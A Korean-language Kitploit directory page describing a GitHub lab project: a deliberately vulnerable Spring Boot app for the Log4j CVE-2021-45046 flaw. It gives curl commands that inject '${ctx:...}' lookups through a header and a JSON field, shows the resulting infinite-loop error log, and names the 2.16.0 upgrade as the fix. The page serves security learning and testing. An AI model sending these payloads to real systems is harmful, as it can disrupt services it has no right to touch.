Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
log4j2-CVE-2021-45046 | Kitploit
도구/GitHubGitHub/pravin-pp/log4j2-cve-2021-45046
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubpravin-pp/log4j2-cve-2021-45046

log4j2-CVE-2021-45046

저장소 보기
4년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Log4j2 취약 애플리케이션 샘플 (CVE-2021-45046)

영향을 받는 버전: 2.0-beta9부터 2.15.0까지의 모든 버전

이 애플리케이션은 CVE-2021-45046에 취약한 Spring Boot 웹 애플리케이션을 기반으로 합니다.

Log4j 2.14.1(spring-boot-starter-log4j2 2.6.1을 통해)을 사용합니다.

애플리케이션 실행

실행:

root@kitploit:~
Java IDE에서 프로젝트를 Maven 프로젝트로 가져옵니다.

CVEMainApplication.java를 Spring Boot 앱으로 실행합니다.

익스플로잇 절차

  • 그런 다음, 다음을 사용하여 익스플로잇을 트리거합니다:
root@kitploit:~
GET 요청의 경우 ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${ctx:apiVersion}'


POST 요청의 경우 ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
	"clientRef": "${ctx:clientRef}"
}'
  • 무한 루프(Infinite loop)를 보여주는 출력을 확인하세요. 다만 테스트 중에는 이 무한 루프가 프로그램에 의해 식별되고 오류를 발생시키므로 이 DOS가 리소스를 많이 소모하지는 않는다는 것을 확인하지 못했습니다:
root@kitploit:~

${ctx:clientRef}2021-12-15 19:27:50,212 http-nio-8080-exec-1 ERROR An exception occurred processing Appender LogToConsole java.lang.IllegalStateException: Infinite loop in property interpolation of  ${ctx:clientRef}: ctx:clientRef
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
	

완화 방법 :

  • Log4j 2.16.0은 메시지 조회 패턴에 대한 지원을 제거하고 JNDI 기능을 기본적으로 비활성화하여 이 문제를 해결합니다.
도구 다운로드